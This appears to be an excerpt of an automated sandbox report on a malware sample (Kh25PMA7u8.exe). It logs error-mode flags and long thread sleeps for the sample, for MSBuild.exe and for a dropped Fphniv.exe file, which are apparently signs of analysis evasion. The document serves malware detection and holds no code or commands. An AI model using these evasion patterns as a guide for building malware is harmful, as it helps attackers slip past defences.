Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe TID: 7012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4948	Thread sleep count: 6506 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99186s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -99077s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98967s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98418s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -98085s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -97968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -97859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599865s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599731s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599403s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599294s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4884	Thread sleep time: -594913s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe TID: 1952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe TID: 5960	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 2776	Thread sleep count: 6136 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99870s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99639s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99170s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98776s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98530s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98417s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -98068s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -97691s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -97525s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -599812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -598560s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -598259s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -598131s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 4836	Thread sleep time: -594258s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 6980	Thread sleep count: 6610 > 30
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99762s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99546s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98842s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98733s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98624s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98515s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98405s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98171s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -98062s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -97953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -97844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -599853s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -598582s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -598412s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -598275s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -598156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -598047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -594376s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe TID: 5332	Thread sleep time: -594262s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599865	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599731	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599294	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594913	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598560	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598259	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598131	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594258	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599853
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598582
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598412
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598275
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598156
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598047
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594376
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594262

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6506	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6136	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6610

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99186	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99077	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98967	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98418	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98085	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599865	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599731	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599294	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594913	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
